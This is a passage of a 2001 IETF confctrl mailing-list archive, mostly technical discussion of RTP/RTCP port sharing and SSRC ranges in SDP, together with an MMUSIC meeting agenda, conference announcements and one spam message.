> the SIP sense, since X and Y don't hear each other and won't 
> get each others
> SSRC in RTCP packets from A.

That's true - traditional RTCP collision detection would not work in the
non-mixer case; however it is still very desirable that the receiver can
request the sender to choose another SSRC so that each sender can be
identified independent of transport source address, that is, by SSRC alone. 

This "collision" resolution is not a problem if the application-layer
protocol 
a) receives an SDP indication from each SDP sender (so that is knows which
senders collided) and
b) can re-issue an SDP advertisement to a particular sender individually (in
which a new SSRC can be forced)

Plain vanilla SIP early media does not exhibit these properties. Your new
early media draft does; multiple 200 OK's does. I can't comment for other
protocols. 

If it is not possible to individually readvertise SDP (eg, multicast
perhaps) then you could list duplicated ssrc's in a re-advertisement
(consequently forcing affected senders to readvertise their SDP) but this is
pretty painful. It would be necessary I think if the primary objective for
using the ssrc attribute stuff is to achieve transport-independent
session-level correlation of media flows in a multicast-like environment.
Still ugly and hopefully not required in most situations.

> I'll note that my early media draft does help this quite a 
> lot, actually;
> thats because the called party re-offers the SDP to the caller, so the
> caller can answer with a different SDP to each early media 
> stream. This
> allows the caller to tell each early media sender to use a 
> different ssrc
> for sending to it.

Yes, I agree that your draft definitely helps. However one must be careful
to avoid potential pitfalls such as clipped speech when the call is
eventually answer. The caller must be careful that whatever is offered in
the initial INVITE is a superset of what is negotiated in the early media
exchange. 

[BTW, here is Jonathan's early media draft for the causal reader: 
http://www.ietf.org/internet-drafts/draft-rosenberg-sip-early-media-00.txt ]

So an early media example....

INVITE ------>
m=audio 8000 RTP/AVP 0
c=IN IP4 A.A.A.A
a=x-ssrc:3456xxxx 98765432

<------ 183 Session Progress (early media)
m=audio 9000 RTP/AVP 0
c=IN IP4 B.B.B.B
a=x-ssrc:ABCDEFxx 42424242 
a=sendonly

PRACK ------>
m=audio 8000 RTP/AVP 0
c=IN IP4 A.A.A.A
a=x-ssrc:345678xx 98765432 (note SSRC range is subset of initial INVITE) 

<----- 200 OK (PRACK) 

<----- 200 OK (INVITE)
m=audio 9000 RTP/AVP 0
c=IN IP4 B.B.B.B
a=x-ssrc:ABCDEFxx 42424242 

ACK ----->

Notice that the PRACK is a subset of the initial INVITE (and could
theoretically even specify completely the SSRC since there should be only
one sender but I think a small range is better). This means that each early
media responder can be assigned its own SSRC subspace (thereby avoiding
possible SSRC collision) and yet the media stream still satisfies the
original INVITE which is important for continuity when the INVITE 200 OK
eventually arrives. Cool.

In case anyone also hasn't realized this could also provide some small level
of probabilistic protection for RTP traffic from blind attacks (or
systematic errors). When the application-level protocol traffic (eg SIP
messages) are not-visible or encrypted and the attacker is also not able to
see RTP packets in transit, then RTP spoofing will be much more difficult as
their now a specified range of valid SSRC's. 

For instance, an INVITE using

INVITE ------>
m=audio 8000 RTP/AVP 0
c=IN IP4 A.A.A.A
a=x-ssrc:345678xx 98765432 

Means that an attacker only has a 1 in 2^^24 (16 million) chance of choosing
an SSRC that the receiver will not instantly discard. Another helpful
property in addition to shared ports & media-level
correlation/identification. Are you sold yet? :-)

Robert.

From confctrl-owner  Fri Jul 27 03:40:44 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id DAA09625
	for confctrl-outgoing; Fri, 27 Jul 2001 03:40:44 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA09618
	for <confctrl@zephyr.isi.edu>; Fri, 27 Jul 2001 03:40:42 -0700 (PDT)
Received: from exchange1.nuera.com ([12.105.228.79])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6RAewL22951
	for <confctrl@ISI.EDU>; Fri, 27 Jul 2001 03:40:58 -0700 (PDT)
Received: by exchange1.nuera.com with Internet Mail Service (5.5.2653.19)
	id <P1LBSM5K>; Fri, 27 Jul 2001 03:40:40 -0700
Message-ID: <E79883AEA37FD411A58C00508BAC5F4BD72A5C@exchange1.nuera.com>
From: "Fairlie-Cuninghame, Robert" <rfairlie@nuera.com>
To: "'Jonathan Rosenberg'" <jdrosen@dynamicsoft.com>
Cc: "''avt@ietf.org' '" <avt@ietf.org>,
        "'confctrl@isi.edu'"
	 <confctrl@ISI.EDU>
Subject: RE: [AVT] Re: RTP/RTCP Port Sharing (SSRC)
Date: Fri, 27 Jul 2001 03:40:39 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


> 
> > > I strongly believe that any solution we come up with should 
> > > application
> > > generic and not impose limitations that restrict the way in 
> > > which RTP can be
> > > used.
> > 
> > By definition the problem is really restricted to unicast 
> > here, though.
> 
> True but I don't see any reason why it won't provide some benefits to
> multicast scenarios as well.
> 

Actually after thinking about it some more, I think applicability of "the
problem" (and solution) has nothing to do with transport modes (eg, unicast
or multicast) but rather conference modes. 

The proposal works for point-to-point communications (trivial case) and
conference modes where there is a centralized mixing bridge. For instance,
all conference senders send their RTP to the mixer and then the mixer sends
the mixed signal out to all conference listeners (either through multicast
or unicast). In these models there is only one sender relationship for each
participant even though each participant may have knowledge of all other
senders and receivers (and their SSRC's). 

The model does not work for distributed (meshed) conferencing models. For
instance one receiver might restrict the senders to choosing an SSRC within
a certain subspace (eg, 1234xxxx) and another receiver may require another
non-overlapping SSRC subspace (eg 4567xxxx). Thus it would not be possible
to select a SSRC that satisfies all receivers. 

In my mind the centralized conference model will in most cases have a
greater need/benefit for the properties endowed by this proposal (eg, shared
RTP ports/session separation) than a fully distributed conference model.

Robert.

From confctrl-owner  Fri Jul 27 04:07:48 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id EAA10793
	for confctrl-outgoing; Fri, 27 Jul 2001 04:07:48 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA10788
	for <confctrl@zephyr.isi.edu>; Fri, 27 Jul 2001 04:07:46 -0700 (PDT)
Received: from uci.agh.edu.pl (root@galaxy.uci.agh.edu.pl [149.156.96.9])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6RB82L00234
	for <confctrl@isi.edu>; Fri, 27 Jul 2001 04:08:02 -0700 (PDT)
Received: from iris.ics.agh.edu.pl (pinio@iris.ics.agh.edu.pl [149.156.97.17])
	by uci.agh.edu.pl (8.9.3/8.8.7/rchk1.20) with ESMTP id NAA16953
	for <confctrl@isi.edu>; Fri, 27 Jul 2001 13:07:50 +0200 (MET DST)
Received: (from pinio@localhost)
	by iris.ics.agh.edu.pl (8.9.3+Sun/8.9.3) id NAA25094
	for confctrl@isi.edu; Fri, 27 Jul 2001 13:07:46 +0200 (CEST)
Date: Fri, 27 Jul 2001 13:07:46 +0200 (CEST)
Message-Id: <200107271107.NAA25094@iris.ics.agh.edu.pl>
To: confctrl@ISI.EDU
From: Aleksander Laurentowski <pinio@iris.ics.agh.edu.pl>
Reply-To: dais2001-info@ics.agh.edu.pl
Subject: Final Call for Grant Applications: DAIS'2001
Content-Type: text
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

We still have opportunities to cover full costs of participation of
young researchers (35 years old or younger) at DAIS'2001 - please take
an opportunity and apply or be so kind to let know your colleagues,
assistants and PhD students. You must apply quickly - the
deadline for applications is Monday, 2nd August!  The details are at
http://www.ics.agh.edu.pl/dais/grant.html

Thank you and see you in Krakow!

With Best Regards,

Aleksander Laurentowski, PhD
DAIS'2001 Organization Committee Chair
Department of Computer Science, University of Mining & Metallurgy (AGH)
Al. Mickiewicza 30,  30-059 Krakow, Poland
tel. +48 12 617 39 82 ext. 38, 
fax +48 12 633 94 06 or +48 12 617 39 66
e-mail: pinio@ics.agh.edu.pl
http://www.cs.agh.edu.pl


From confctrl-owner  Fri Jul 27 11:22:31 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA09075
	for confctrl-outgoing; Fri, 27 Jul 2001 11:22:31 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA09070
	for <confctrl@zephyr.isi.edu>; Fri, 27 Jul 2001 11:22:30 -0700 (PDT)
Received: from merlot.juniper.net (natint.juniper.net [207.17.136.129])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6RIMkL04720
	for <confctrl@ISI.EDU>; Fri, 27 Jul 2001 11:22:46 -0700 (PDT)
Received: from murphy-bsd.juniper.net (murphy-bsd.juniper.net [172.17.12.128])
	by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id f6RIMeH10932;
	Fri, 27 Jul 2001 11:22:40 -0700 (PDT)
	(envelope-from murphy@juniper.net)
Received: from juniper.net (localhost [127.0.0.1]) by murphy-bsd.juniper.net (8.8.8/8.7.3) with ESMTP id LAA20977; Fri, 27 Jul 2001 11:22:40 -0700 (PDT)
Message-ID: <3B61B170.91344604@juniper.net>
Date: Fri, 27 Jul 2001 11:22:40 -0700
From: Jim Murphy <murphy@juniper.net>
Organization: Juniper Networks
X-Mailer: Mozilla 4.75 [en] (X11; U; FreeBSD 2.2.8-RELEASE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: "Fairlie-Cuninghame, Robert" <rfairlie@nuera.com>
CC: "'Jonathan Rosenberg'" <jdrosen@dynamicsoft.com>,
        "''avt@ietf.org' '" <avt@ietf.org>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Re: [AVT] Re: RTP/RTCP Port Sharing (SSRC)
References: <E79883AEA37FD411A58C00508BAC5F4BD72A5C@exchange1.nuera.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

A bit off the thread, but I haven't heard anyone mention
the problems this port sharing is going to present to the
forwarding path in routers doing 5 tuple classification
and policing and voice gateways trying to send RTP packets to DSPs and
RTCP packets to some control level code. Not being able to
rely on the 5 tuple is going to present some problems.

Thanks,

Jim

From confctrl-owner  Fri Jul 27 18:29:35 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id SAA06213
	for confctrl-outgoing; Fri, 27 Jul 2001 18:29:35 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id SAA06201
	for <confctrl@zephyr.isi.edu>; Fri, 27 Jul 2001 18:29:32 -0700 (PDT)
Received: from merlot.juniper.net (natint.juniper.net [207.17.136.129])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6S1TnL09987
	for <confctrl@ISI.EDU>; Fri, 27 Jul 2001 18:29:49 -0700 (PDT)
Received: from murphy-bsd.juniper.net (murphy-bsd.juniper.net [172.17.12.128])
	by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id f6S1TiH38491;
	Fri, 27 Jul 2001 18:29:44 -0700 (PDT)
	(envelope-from murphy@juniper.net)
Received: from juniper.net (localhost [127.0.0.1]) by murphy-bsd.juniper.net (8.8.8/8.7.3) with ESMTP id SAA15551; Fri, 27 Jul 2001 18:29:43 -0700 (PDT)
Message-ID: <3B621587.F891CE7E@juniper.net>
Date: Fri, 27 Jul 2001 18:29:43 -0700
From: Jim Murphy <murphy@juniper.net>
Organization: Juniper Networks
X-Mailer: Mozilla 4.75 [en] (X11; U; FreeBSD 2.2.8-RELEASE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: "Fairlie-Cuninghame, Robert" <rfairlie@nuera.com>
CC: "''Jonathan Rosenberg' '" <jdrosen@dynamicsoft.com>,
        "'''avt@ietf.org' ' '" <avt@ietf.org>,
        "''confctrl@isi.edu' '" <confctrl@ISI.EDU>
Subject: Re: [AVT] Re: RTP/RTCP Port Sharing (SSRC)
References: <E79883AEA37FD411A58C00508BAC5F4BD72A6C@exchange1.nuera.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Robert,

I think you are missing my point, which has nothing to do
with SIP/SDP, firewalls or NATs. I'm just stating that
being able to separate out RTCP and RTP based on the
5-tuple is a good thing, having to go deeper into
the packet is not so good. When a classifier and/or
policer is installed on a router to give QoS to 
some stream, it typically doesn't look any deeper
than the UDP header.

Thanks,

Jim

"Fairlie-Cuninghame, Robert" wrote:
> 
> But Jim you have never been able to assume 5-tuple with standard RTP - this
> proposal does not change that. The source address of a RTP packet cannot be
> enforced under standard SDP rules.
> 
> Jonathan has made a proposal for symmetric RTP as a special case of the
> standard RTP/AVP for NAT-friendly SIP (thereby giving your 5 tuple). I
> believe however this is quite a separate issue to shared ports and SSRC.
> 
> I imagine that allowing all RTP media to come in on a single port would
> actuallly make it MUCH easier to open a firewall hole! The shared port can
> be opened statically and apriori as a 3-tuple (which is not possibly when
> the ports are allocated dynamically with 5-tuples).
> 
> Robert.
> 
> -----Original Message-----
> From: Jim Murphy
> To: Fairlie-Cuninghame, Robert
> Cc: 'Jonathan Rosenberg'; ''avt@ietf.org' '; 'confctrl@isi.edu'
> Sent: 27/07/01 11:22
> Subject: Re: [AVT] Re: RTP/RTCP Port Sharing (SSRC)
> 
> A bit off the thread, but I haven't heard anyone mention
> the problems this port sharing is going to present to the
> forwarding path in routers doing 5 tuple classification
> and policing and voice gateways trying to send RTP packets to DSPs and
> RTCP packets to some control level code. Not being able to
> rely on the 5 tuple is going to present some problems.
> 
> Thanks,
> 
> Jim

From confctrl-owner  Mon Jul 30 02:21:57 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id CAA09759
	for confctrl-outgoing; Mon, 30 Jul 2001 02:21:57 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA09754
	for <confctrl@zephyr.isi.edu>; Mon, 30 Jul 2001 02:21:56 -0700 (PDT)
Received: from exchange1.nuera.com ([12.105.228.79])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6U9Lum18808
	for <confctrl@isi.edu>; Mon, 30 Jul 2001 02:21:56 -0700 (PDT)
Received: by exchange1.nuera.com with Internet Mail Service (5.5.2653.19)
	id <P1LBSRTL>; Mon, 30 Jul 2001 02:22:27 -0700
Message-ID: <E79883AEA37FD411A58C00508BAC5F4BD72A6D@exchange1.nuera.com>
From: "Fairlie-Cuninghame, Robert" <rfairlie@nuera.com>
To: "'Jonathan Rosenberg'" <jdrosen@dynamicsoft.com>
Cc: "''avt@ietf.org' '" <avt@ietf.org>,
        "'confctrl@isi.edu'"
	 <confctrl@ISI.EDU>
Subject: RE: [AVT] Re: RTP/RTCP Port Sharing (SSRC)
Date: Mon, 30 Jul 2001 02:22:26 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan,
> 
> It would be nice to have a mechanism which does not rely on 
> application
> specific capabilities. I don't know if thats possible. I'll 
> also note that
> if you can have these properties from the application layer, 
> I don't need
> ranges anymore either. In the case of forked early media, the 
> caller can
> tell each early media sender to use a specific SSRC. This 
> way, each sender
> is using a different SSRC. 
> 

I guess you could always kludge it with RTCP by inventing imaginary RTCP
receiver (fake an SSRC collision) but that is very nasty and has another
problem. The problem with doing any SSRC collision resolution entirely at
the transport/RTP level is that you lose the ability to correlate
media-flows with application sessions in a transport independent manner.

> >Notice that the PRACK is a subset of the initial INVITE (and could
> >theoretically even specify completely the SSRC since there 
> should be only
> >one sender but I think a small range is better). 
> 
> Right, this was my point. What is the value of the range?

For that example the PRACK had

a=x-ssrc:345678xx 98765432

which ranges from 34567800 to 345678FF. The size of the range can be any
thing the application chooses (based on the properties of the negotiation),
eg xxxxxxxx (anything) or 37843874 (no range - completely specified). 

You still always need a range for SIP - even with your early media draft
implemented. What about the multiple 200 Ok's case where local ringback is
used? [Multiple endpoints answering at the same time.] The SDP negotiation
in that situation does not have the property that the SDP offer is sent to
only one sender.

> Big assumption; the SIP messages typically will be visible at 
> some point in
> real systems. I think the best way to solve this spoofing 
> problem properly
> is through SRTP. 
> 

I definitely agree that SRTP is the way to go but I thought its still away's
off. I'm still not sure it will be the right solution for everyone's -
especially on DSP resource poor products.

By SIP messages I assume you mean both SIP & RTP (as SIP messages can be
encrypted in a variety of ways and have a much smaller bandwidth than the
media). I would say SSRC checks are a better RTP "sanity check" than any
sort of source address checking methods.

I perhaps should have emphasized the probabilistic protection from
systematic errors more. For instance, stuck ports, un-cooperative desktop
SIP clients, BYE's not being matched properly (or even not received) on one
side, NAT's playing havoc with ports, etc. There are all sorts of ways that
RTP media can be accidentally sent to the wrong port. These systematic
errors can also be thought of as blind attackers.


Robert.


From confctrl-owner  Mon Jul 30 03:12:31 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id DAA12861
	for confctrl-outgoing; Mon, 30 Jul 2001 03:12:31 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA12842
	for <confctrl@zephyr.isi.edu>; Mon, 30 Jul 2001 03:12:28 -0700 (PDT)
Received: from t-mta4.odn.ne.jp (mfep4.odn.ne.jp [143.90.131.182])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6UACRm22497;
	Mon, 30 Jul 2001 03:12:28 -0700 (PDT)
Received: from mc3.law13.hotmail.com ([61.116.141.113]) by t-mta4.odn.ne.jp
          with SMTP
          id <20010730101217867.PNCN.21729.t-mta4.odn.ne.jp@mta4.odn.ne.jp>;
          Mon, 30 Jul 2001 19:12:17 +0900
Reply-To: <dfweq23@hotmail.com>
From: "gfyt563@hotmail.com" <gfyt563@hotmail.com>
To: "7089@yahoo.com" <7089@yahoo.com>
Subject: WE PAY CASH NOW!
Content-Type: text/plain; charset="us-ascii";format=flowed
Content-Transfer-Encoding: 7bit
Message-Id: <20010730101217867.PNCN.21729.t-mta4.odn.ne.jp@mta4.odn.ne.jp>
Date: Mon, 30 Jul 2001 19:12:18 +0900
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

WE PAY CASH, NOW!

We will pay you a lump sum of cash for Eight years of your Military and Government pensions, or your VA diusability.
We pay top dollar!

Go to: www.tfund2000.com and click on Military/Government pensions.




                                                     www.tfund2000.com









To be removed, please send a blank email with the word remove in the subject line.



From confctrl-owner  Mon Jul 30 06:33:34 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id GAA18351
	for confctrl-outgoing; Mon, 30 Jul 2001 06:33:34 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA18346
	for <confctrl@zephyr.isi.edu>; Mon, 30 Jul 2001 06:33:32 -0700 (PDT)
Received: from exchange1.nuera.com ([12.105.228.79])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6UDXTm13740
	for <confctrl@ISI.EDU>; Mon, 30 Jul 2001 06:33:33 -0700 (PDT)
Received: by exchange1.nuera.com with Internet Mail Service (5.5.2653.19)
	id <P1LBSR6Y>; Mon, 30 Jul 2001 06:33:59 -0700
Message-ID: <E79883AEA37FD411A58C00508BAC5F4BD72A7D@exchange1.nuera.com>
From: "Fairlie-Cuninghame, Robert" <rfairlie@nuera.com>
To: confctrl@ISI.EDU
Subject: Where is IETF 51 agenda.
Date: Mon, 30 Jul 2001 06:33:57 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

Has an agenda been decided for the 51st IETF meeting ?

Robert.

From confctrl-owner  Mon Jul 30 06:57:49 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id GAA19073
	for confctrl-outgoing; Mon, 30 Jul 2001 06:57:49 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA19068
	for <confctrl@zephyr.isi.edu>; Mon, 30 Jul 2001 06:57:48 -0700 (PDT)
Received: from nmh.informatik.uni-bremen.de (jo@nmh.informatik.uni-bremen.de [134.102.224.3])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6UDvjm17028
	for <confctrl@isi.edu>; Mon, 30 Jul 2001 06:57:46 -0700 (PDT)
Received: (from jo@localhost)
	by nmh.informatik.uni-bremen.de (8.10.1/8.10.1) id f6UDv9T01692;
	Mon, 30 Jul 2001 15:57:10 +0200 (MEST)
From: Joerg Ott <jo@Informatik.Uni-Bremen.DE>
Message-Id: <200107301357.f6UDv9T01692@nmh.informatik.uni-bremen.de>
Subject: Re: Where is IETF 51 agenda.
To: rfairlie@nuera.com (Fairlie-Cuninghame Robert)
Date: Mon, 30 Jul 2001 15:57:09 +0200 (MEST)
Cc: jo@Informatik.Uni-Bremen.DE (Joerg Ott), confctrl@ISI.EDU,
        mmusic@informatik.uni-bremen.de
In-Reply-To: <E79883AEA37FD411A58C00508BAC5F4BD72A7D@exchange1.nuera.com> from "Fairlie-Cuninghame, Robert" at Jul 30, 2001 06:33:57 AM
X-Mailer: ELM [version 2.5 PL3]
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> Hi,
> 
> Has an agenda been decided for the 51st IETF meeting ?
> 
> Robert.
> 

Yes.  I am still awaiting internal feedback but it is essentially set.
I have put you down as well.  Attached is the draft.

Cheers,
Joerg

MMUSIC Agenda for 51st IETF
===========================

1300 Agenda bashing				(chairs)

1302 MMUSIC Status Update			(chairs)
     draft-ietf-mmusic-mbus-transport-06.txt
     draft-ietf-mmusic-fid-03.txt
     draft-andreasen-mmusic-sdp-simcap-03.txt
    
1310 SDP revisions				(Perkins)
     draft-ietf-mmusic-sdp-new-03.txt
 
1315 RTP/RTCP Port Handling			(Huitema)
     draft-huitema-sdp4nat-00.txt
     draft-huitema-natreq4udp-00.txt
     draft-rosenberg-sip-entfw-02.txt

1330 SDP formats for connect-oriented media	(Yon, Fairlie-Cuninghame)
     draft-ietf-mmusic-comedia-00.txt 
     draft-fairlie-mmusic-sdp-sctp-00.txt	

1345 SDP for TDM				(Taylor)
     draft-taylor-mmusic-sdp-tdm-00.txt

1355 Voice-Band Data Media Format for SDP	(Andreasen)
     draft-foster-mmusic-vbdformat-00.txt

1400 SDPng					(Kutscher, Ott)
     draft-ietf-mmusic-sdpng-req-01.txt
     draft-ietf-mmusic-sdpng-01.txt

1430 RTP in HTTP				(Gentric)
     draft-gentric-avt-RTSP-HTTP-00.txt

     [20 minutes spare]

1500 Close




From confctrl-owner  Mon Jul 30 13:57:28 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id NAA04436
	for confctrl-outgoing; Mon, 30 Jul 2001 13:57:28 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA04431
	for <confctrl@zephyr.isi.edu>; Mon, 30 Jul 2001 13:57:27 -0700 (PDT)
Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6UKvRm03834
	for <confctrl@isi.edu>; Mon, 30 Jul 2001 13:57:27 -0700 (PDT)
Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.117.200.22])
	by e1.ny.us.ibm.com (8.9.3/8.9.3) with ESMTP id QAA333796;
	Mon, 30 Jul 2001 16:52:25 -0400
Received: from d01ml243.pok.ibm.com (d01ml243.pok.ibm.com [9.117.200.72])
	by northrelay02.pok.ibm.com (8.11.1m3/NCO v4.97) with ESMTP id f6UKkaS24586;
	Mon, 30 Jul 2001 16:46:36 -0400
Importance: Normal
Subject: ACM Sigcomm 2001 Conference: early registration deadline this week!
To: tci-announce@listserv.computer.org, tccc@ieee.org, tcgn@ieee.org,
        end2end-interest@postel.org, confctrl@ISI.EDU, itc@ieee.org,
        ifip-6-1-distr@run.montefiore.ulg.ac.be,
        ifip-tc6@informatik.rwth-aachen.de, sigmetrics@haven.epm.ornl.gov,
        dbworld@cs.wisc.edu, f-troup@CODEX.cis.upenn.edu,
        rem-conf-request@es.net, cost237-transport@comp.lancs.ac.uk,
        reres@laas.fr, hipparch@sophia.inria.fr
X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000
Message-ID: <OFD88701A1.47976A86-ON85256A99.00730F43@pok.ibm.com>
From: "Dilip D Kandlur" <kandlur@us.ibm.com>
Date: Mon, 30 Jul 2001 16:59:23 -0400
X-MIMETrack: Serialize by Router on D01ML243/01/M/IBM(Release 5.0.8 |June 18, 2001) at
 07/30/2001 04:54:23 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Note that the deadline for early registration is August 3rd (this Friday).


               Call for Participation
              ACM SIGCOMM 2001 Conference

                    August 27 - August 31, 2001
                 University of California, San Diego, CA USA
                http://www.acm.org/sigcomm/sigcomm2001

Deadlines:

Proposals for student travel grant:      June 15, 2001
Proposals for student poster session:    June 17, 2001
Advance registration ends:              August 3, 2001
Hotel registration deadline:       July 23, 2001

ACM SIGCOMM 2001 is the annual conference of the Special Interest
Group on Data Communication (SIGCOMM), a single-track, highly
selective conference with a technical program of 23 papers, tutorials
by noted instructors on the two days prior, and a panel discussion.

Early registration for SIGCOMM 2001 will soon be available.
Registration details, as well as information on student travel grants
and requests for proposals for the work-in-progress poster session are
available at the SIGCOMM website above.

Social Events

The reception will be at the Birch Aquarium at Scripps.  The Aquarium
is situated on a hilltop site that provides a spectacular view on the
Scripps Institution of Oceanography campus, northern La Jolla, and the
Pacific Ocean.  Conference attendees will have full access to the
aquarium exhibits during the reception. The reception is included in
registration fee for attendees and their guests. No reservations
necessary.

The SIGCOMM 2001 Banquet will be held in the Main Ballroom of the
Hotel Del Coronado, situated on picturesque Coronado Island. Over 112
years old, it is a National Historic Landmark renowned for its
magnificent architecture and legendary guests. The banquet is included
in the registration fee for attendees. There will be a $75 charge for
each guest.

SIGCOMM Award

The SIGCOMM Award is given annually to a person whose career and
technical achievements demonstrate a long-term commitment to the field
of data communications. ACM SIGCOMM is pleased to announce that the 2001
SIGCOMM Award is being given to Van Jacobson of Packet Design, Inc.
Van Jacobson will receive the award and give the conference keynote
address in the opening session on Wednesday.

Tutorials

SIGCOMM 2001 begins with two days of full- and half-day tutorials
covering single topics in detail at both the introductory and advanced
level.  Tutorials offered this year are:

 - Wireless Data
     Phil Karn, Qualcomm, Inc.
 - Traffic Measurement for IP Operations
     Matt Grossglauser and Jennifer Rexford, AT&T
 - Interdomain Routing and BGP
     Timothy G. Griffin, AT&T
 - Equilibrium and Dynamics of TCP
     Prof. Steven H. Low, California Inst. of Technology
 - Algorithms for Networks: Some Techniques for Design and Analysis
     Ashish Goel, University of Southern California
     Nick McKeown and Balaji Prabhakar, Stanford University

Outrageous Opinions Session

The Outrageous Opinions Session provides an opportunity for sharing
entertaining, provocative, and otherwise enriching ideas and suggestions
in their early stages. The session will be held Thursday evening.

Poster Session - Work in Progress

The Poster Session is aimed at showcasing the "work-in-progress" of
students attending the conference.  Poster proposals should be sent by
email to Hari Balakrishnan (hari@lcs.mit.edu) by June 17 (no
extensions).  Please see the conference website for details regarding
the submission format.

Student Travel Awards

The purpose of the student travel program is to encourage graduate
student participation at the conference by partially or fully funding
the travel costs of students who would otherwise be unable to
attend. SIGCOMM 2001 thanks Cisco and SIGCOMM for funding the program
this year.  See the website for eligibility criteria and application
procedures.

General Co-Chairs
        Rene Cruz, UC San Diego, USA (cruz@ece.ucsd.edu)
        George Varghese, UC San Diego, USA (varghese@ece.ucsd.edu)
Program Co-Chairs
        Roch Guerin, U. Pennsylvania, USA (guerin@ee.upenn.edu)
        Derek McAuley, Marconi Research Center, UK
(derek.mcauley@marconi.com)
Publicity Chair
        Dilip Kandlur, IBM TJ Watson Research Ctr, USA (kandlur@us.ibm.com)
Tutorials Chair
        Chuck Kalmanek, AT&T Research, USA (crk@research.att.com)
Local Arrangements Co-Chairs
     Geoff Voelker, UC San Diego, USA (voelker@cs.ucsd.edu)
Finance Chair
     Joe Touch, UCS/ISI, USA (touch@isi.edu)
Publication Chair
     Ramesh Govindan, USC/ISI, USA (govindan@isi.edu)
Student Travel Award Chair
     Christos Papadopoulos, U. Southern California (christos@isi.edu)
Student Poster Chair
     Hari Balakrishnan, MIT, USA (hari@lcs.mit.edu)

Support from Cisco, IBM, Deloitte and Touche, PMC-Sierra, Marconi,
Procket Networks, Agilent Technologies, Microsoft Research, and
USC/ISI is gratefully acknowledged.











From confctrl-owner  Mon Jul 30 18:42:07 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id SAA16972
	for confctrl-outgoing; Mon, 30 Jul 2001 18:42:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id SAA16967
	for <confctrl@zephyr.isi.edu>; Mon, 30 Jul 2001 18:42:05 -0700 (PDT)
